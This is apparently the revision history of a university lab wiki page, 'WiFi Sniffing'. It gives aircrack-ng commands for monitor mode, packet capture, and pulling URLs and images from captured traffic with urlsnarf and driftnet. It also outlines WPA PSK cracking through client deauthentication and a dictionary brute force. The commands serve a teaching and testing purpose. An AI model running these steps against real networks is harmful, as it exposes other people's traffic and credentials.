&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8243</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8243"/>
		<updated>2021-12-17T10:23:02Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
Open a terminal.&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for XXXX, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8242</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8242"/>
		<updated>2021-12-17T10:22:35Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
Open a terminal.&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for XXXX, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8241</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8241"/>
		<updated>2021-12-17T10:11:27Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Overview */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Open a terminal.&lt;br /&gt;
&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8240</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8240"/>
		<updated>2021-12-17T10:07:32Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Overview */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) asdf&lt;br /&gt;
&lt;br /&gt;
2) asdf&lt;br /&gt;
&lt;br /&gt;
3) asdf&lt;br /&gt;
&lt;br /&gt;
4) asdf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Open a terminal.&lt;br /&gt;
&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
